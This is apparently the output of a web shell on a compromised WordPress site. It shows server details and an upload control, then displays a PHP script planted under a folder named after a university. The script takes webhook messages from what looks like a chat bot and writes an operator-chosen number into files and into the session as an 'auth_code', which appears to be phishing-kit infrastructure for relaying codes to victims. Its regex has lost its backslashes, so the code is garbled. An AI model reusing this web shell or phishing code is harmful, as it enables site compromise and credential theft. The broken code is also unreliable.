HEX
Server: Apache/2
System: Linux ctr689471.novalocal 4.9.241-37.el7.x86_64 #1 SMP Mon Nov 2 13:55:04 UTC 2020 x86_64
User: bluecool (1005)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/brockport.edu/receive_number.php
<?php
session_start();
$input = file_get_contents('php://input');
$data = json_decode($input, true);

if (isset($data['message']['text'])) {
    $messageText = $data['message']['text'];

    // Split the message into season ID and number
    if (preg_match('/^(w+)/(d+)$/', $messageText, $matches)) {
        $seasonId = $matches[1]; // Extract the season ID
        $number = intval($matches[2]); // Extract the number

        // Construct the directory path based on the season ID
        $seasonFolder = "season_$seasonId"; // Ensure your folder naming convention is maintained
        $filename = "$seasonFolder/selected_number.txt"; // Path to store the number

        if ($number >= 1 && $number <= 100) {
            file_put_contents($filename, $number); // Save the number to the correct file
            $_SESSION['auth_code'] = $number; // Store it in session to display on the page
        }
    }
}
?>